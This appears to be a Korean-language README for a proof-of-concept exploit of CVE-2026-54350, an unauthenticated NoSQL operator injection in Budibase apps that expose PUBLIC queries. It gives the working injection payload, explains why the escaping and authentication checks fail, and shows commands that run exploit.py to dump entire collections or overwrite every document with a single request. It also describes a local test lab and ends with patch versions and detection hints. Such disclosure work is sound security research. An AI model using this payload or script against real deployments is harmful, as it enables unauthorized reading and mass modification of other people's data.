
PoC for CVE-2026-54350 — Budibase의 인증되지 않은 NoSQL 연산자 주입 (CVSS 10.0). PUBLIC 쿼리를 통해 모든 문서 컬렉션을 읽거나 대량 쓰기.
Budibase에서 인증되지 않은 JSON/NoSQL 연산자 삽입 취약점. 문서 데이터 소스(MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL, 또는 JSON 본문이 있는 REST)를 기반으로 하는 PUBLIC 쿼리를 노출하는 게시된 Budibase 앱의 모든 익명 방문자는 백업 컬렉션의 모든 문서를 읽을 수 있으며, 공개 쓰기 쿼리가 존재하는 경우 단일 인증되지 않은 HTTP 요청으로 모든 문서를 수정할 수 있습니다.
| CVE | CVE-2026-54350 |
| 권고 | GHSA-8qv3-p479-cj62 |
| CVSS 3.1 | 10.0 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| CWE | CWE-943 (데이터 쿼리에서 특수 요소의 부적절한 중화), CWE-89 |
| 인증 | 없음 (인증 불필요) |
| 영향받는 버전 | Budibase <= 3.39.0 (공급업체 권고 범위) |
| 수정 버전 | NVD 기준 3.39.12; 주입된 따옴표는 3.39.1부터 이미 무효화되었으며, 명시적 수정(processJsonStringSync)은 3.39.9에 도입됨 |
| 판정 | 확인됨 — 3.39.0에서 종단간 재현됨 |
쿼리를 실행할 때 Budibase는 Handlebars를 사용하여 사용자 매개변수를 쿼리의 원시 JSON 본문에 보강한 다음 결과를 JSON.parse합니다:
enrichContext() packages/server/src/sdk/workspace/queries/queries.ts
enrichedQuery.json = processStringSync('{"name":"{{ name }}"}', { name: <user> }, { noEscaping: true })
enrichedQuery.json = JSON.parse(enrichedQuery.json)
영향을 받는 빌드에서는 매개변수가 JSON 이스케이프 없이 보간되므로, "를 포함하는 값이 의도된 문자열을 닫고 형제 키를 파싱된 객체에 주입합니다. 유일한 입력 필터인 validateQueryInputs() (api/controllers/query/index.ts)는 오직 Handlebars 마커({{, }})만 거부합니다 — ", \, } 또는 $는 처리하지 않습니다.
MongoDB find의 경우 파싱된 객체가 collection.find() (integrations/mongodb.ts)로 직접 전달됩니다. 값이 연산자 객체인 중복 name 키가 JSON.parse 병합에서 승리하여 문자열 동등성을 {$exists: true}로 바꾸고 전체 컬렉션을 반환합니다. updateMany 쿼리에 대한 동일한 프리미티브는 필터를 모든 문서로 확장합니다.
authorized() (middleware/authorized.ts:141)가 쿼리의 리소스 역할이 PUBLIC일 때 return next()로 단락되어 세션 인증과 CSRF를 모두 건너뛰기 때문에 접근 제어가 우회됩니다. 쿼리에 도달하는 데 필요한 x-budibase-app-id 헤더는 공개적입니다 — 이는 모든 게시된 앱 URL의 일부입니다.
전체 코드 수준 분석 및 버전 경계 조사는 ANALYSIS.md를 참조하세요.
쿼리 본문 템플릿 (빌더에서 구성된 대로):
{"name":"{{ name }}"}
name 매개변수에 주입된 값:
zzz","name":{"$exists":true},"$comment":"cve-2026-54350
보간 및 JSON.parse 후 (중복 키 병합, 마지막 승리):
{ "name": { "$exists": true }, "$comment": "cve-2026-54350" }
$comment는 템플릿의 후행 "}를 흡수하여 전체 본문이 유효한 JSON을 유지하도록 하는 비활성 MongoDB 메타 연산자입니다.
exploit.py — Python 3 표준 라이브러리만 사용, 종속성 없음.
# PUBLIC 읽기(find) 쿼리를 통해 전체 컬렉션 덤프
python3 exploit.py --url http://target --app-id app_<published> \
--query-id query_<...> --mode read
# PUBLIC updateMany 쿼리를 통해 모든 문서 수정
python3 exploit.py --url http://target --app-id app_<published> \
--query-id query_<...> --mode write
--app-id 및 --query-id는 게시된 앱 자체의 API 트래픽에서 관찰되는 공개 값입니다. --field는 매개변수가 바인딩되는 JSON 키를 재정의합니다 (기본값은 --param).
Docker 필요. 이 실습은 --network host (브리지 네트워크 가정 없음)와 mongo:4.4 (호스트에 AVX가 없음; MongoDB 5.0+ 필요)를 사용합니다.
bash lab/setup.sh
# PROD_APP_ID / READ_QUERY / UPDATE_QUERY를 출력한 다음:
python3 exploit.py --url http://127.0.0.1 --app-id <PROD_APP_ID> \
--query-id <READ_QUERY> --mode read
lab/provision.py는 합법적인 빌더 API만 구동합니다 — 기본 설정을 약화시키지 않습니다. 쿼리의 접근 역할을 PUBLIC으로 표시하는 것은 일급 빌더 기능입니다 (게시된 앱은 정확히 이 메커니즘을 통해 데이터를 노출합니다). 전체 캡처 실행은 EVIDENCE.txt에 있습니다.
NVD는 영향받는 범위를 < 3.39.12로 나열합니다. 경험적으로 베어 따옴표 벡터는 <= 3.39.0 에서만 악용 가능하며, 이는 공급업체의 GHSA 권고에서 명시한 범위와 정확히 일치합니다. 3.39.1부터 템플릿 레이어는 이미 주입된 따옴표를 이스케이프합니다 (3.39.8에 대한 동일한 요청이 무효화됨이 확인됨). 3.39.9에서는 명시적 수정 processJsonStringSync가 도입되었습니다. 따라서 이 PoC는 공급업체의 영향받는 범위 내 최신 릴리스인 3.39.0을 대상으로 합니다.
>= 3.39.12, 또는 최소한 processJsonStringSync가 보간된 매개변수를 JSON 이스케이프하는 >= 3.39.9).PUBLIC인 쿼리를 감사하고 가능한 경우 인증된 역할로 제한합니다.인증되지 않은 세션에서 POST /api/v2/queries/<id> 요청 중 parameters 값에 " 뒤에 $로 시작하는 MongoDB 연산자($exists, $ne, $gt, $where, $regex, ...) 또는 중복 JSON 키가 있는 요청을 찾습니다. MongoDB에서 프로파일링을 활성화하고 일반적으로 문자열인 쿼리 매개변수가 객체로 도착할 때 경고를 표시합니다.
연구 및 PoC: Caio Fabrício (@BiiTts).